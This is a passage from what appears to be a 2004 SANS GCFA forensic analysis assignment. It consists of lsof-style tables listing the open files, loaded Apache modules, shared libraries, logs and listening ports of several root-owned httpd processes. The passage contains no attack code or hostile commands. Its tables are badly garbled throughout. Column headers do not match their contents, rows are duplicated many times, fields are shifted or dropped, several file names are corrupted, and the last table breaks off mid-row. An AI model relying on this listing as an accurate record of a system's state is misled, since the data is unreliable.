<td>REG</td>
<td>3,2 46117 65351</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1401027 73730</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3 9637 0 65351</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6 1729 44202</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6 0 38183</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5 0 26691</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5 8192 26693</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6 1729 44202</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6 0 44198</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5 1024 2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5 1024 2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2 290169 131802</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 89547 63490</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 9883 229527</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8301 229506</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 17730 17730</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 7438 229516</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8530 229515</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8274 229505</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 371 130311</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 101902 73734</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 173359 73732</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 23575 63501</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 30282 65273</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5 655224 65343</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 19662 66292</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 141735 65380</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 12102 63503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 14929 229516</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 27415 229519</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 18365 229523</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 19559 229512</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 35886 229511</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 27836 229501</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 14940 229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 6924 229496</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 15974 229510</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8541 229494</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8770 229525</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 10617 229495</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 53189 229520</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 10034 229493</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 11985 229497</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8486 229498</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 9304 229499</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 9900 229508</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 8261 229509</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 10176 229521</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2 92407 440046</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Flags</th>
<th>PID</th>
<th>Priority</th>
<th>Status</th>
<th>Command</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>22592</td>
<td>130323</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnsl-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/libphp4.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>35340</td>
<td>63567</td>
<td>/lib/libpam.so.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>28138</td>
<td>66033</td>
<td>/usr/lib/libltdl.so.3.1.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>5300</td>
<td>66039</td>
<td>/usr/lib/libpspell-modules.so.1.0.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>92487</td>
<td>63535</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>9168</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>77925</td>
<td>440048</td>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>42069</td>
<td>425002</td>
<td>/usr/lib/php4/ldap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>44992</td>
<td>65349</td>
<td>/usr/lib/libc.so.2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td>/usr/lib/libncurses.so.5.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>215482</td>
<td>65382</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
<td>/usr/lib/libk5crypto.so.3.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>42069</td>
<td>425002</td>
<td>/usr/lib/php4/ldap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>44992</td>
<td>65349</td>
<td>/usr/lib/libc.so.2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>45415</td>
<td>63523</td>
<td>/usr/lib/libk5crypto.so.3.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>60</td>
<td>130322</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
<td>/usr/lib/locale/en_US.iso885915/LCCTYPE</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/apache/libperl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/usr/lib/kerberos/libkrb5.so.3.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libldap.so.2.0.15</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345</td>
<td>/usr/lib/libk5crypto.so.3.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>46117</td>
<td>63531</td>
<td>/usr/lib/libk5crypto.so.3.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root mem REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 0CHR</td>
<td>1,3</td>
<td>9367</td>
<td>/dev/null</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 1wCHR</td>
<td>1,3</td>
<td>9367</td>
<td>/dev/null</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 2wREG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 3uREG</td>
<td>3,6</td>
<td>38183</td>
<td>/var/run/httpd_mm.8124.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 4uREG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 5uREG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 15wREG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 16wIPv4</td>
<td>316623</td>
<td>TCP *:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 17wIPv4</td>
<td>316624</td>
<td>TCP *:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 18wREG</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root 19wREG</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/sasl_request_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root cwdDIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root rtdDIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root txtREG</td>
<td>3,3</td>
<td>290169</td>
<td>131802</td>
<td>/usr/sbin/httpd</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19371 root memREG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19372 root memREG</td>
<td>3,2</td>
<td>9883</td>
<td>229527</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19372 root memREG</td>
<td>3,2</td>
<td>9301</td>
<td>229506</td>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

```
httpd 19372 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19372 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19372 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19372 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,5 171 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19372 root mem REG 3,5 101902 73734 /lib/i686/libPTHREAD-0.9.so
httpd 19372 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 19372 root mem REG 3,2 23575 63501 /lib/libcrypto-2.2.5.so
httpd 19372 root mem REG 3,2 30282 65273 /usr/lib/libgdbm.so.2.0.0
httpd 19372 root mem REG 3,2 655224 63543 /lib/libdbd-3.3.so
httpd 19372 root mem REG 3,2 19662 66292 /usr/lib/libm.so.11.0.23
httpd 19372 root mem REG 3,2 147335 65380 /usr/lib/libexpat.so.0.1.0
httpd 19372 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
httpd 19372 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19372 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19372 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19372 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19372 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19372 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19372 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19372 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19372 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19372 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19372 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19372 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_asis.so
httpd 19372 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 19372 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19372 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19372 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19372 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19372 root mem REG 3,2 9900 229508 /usr/lib/apache/mod expires.so
httpd 19372 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19372 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19372 root mem REG 3,2 92407 440046 /usr/lib/locale/en_US.iso885915/LC_COLLATE
```

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>PID</th>
<th>Flags</th>
<th>Address</th>
<th>Offset</th>
<th>Size</th>
<th>File</th>
<th>Address</th>
<th>Offset</th>
<th>Size</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9000</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>440046</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229521</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19373</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
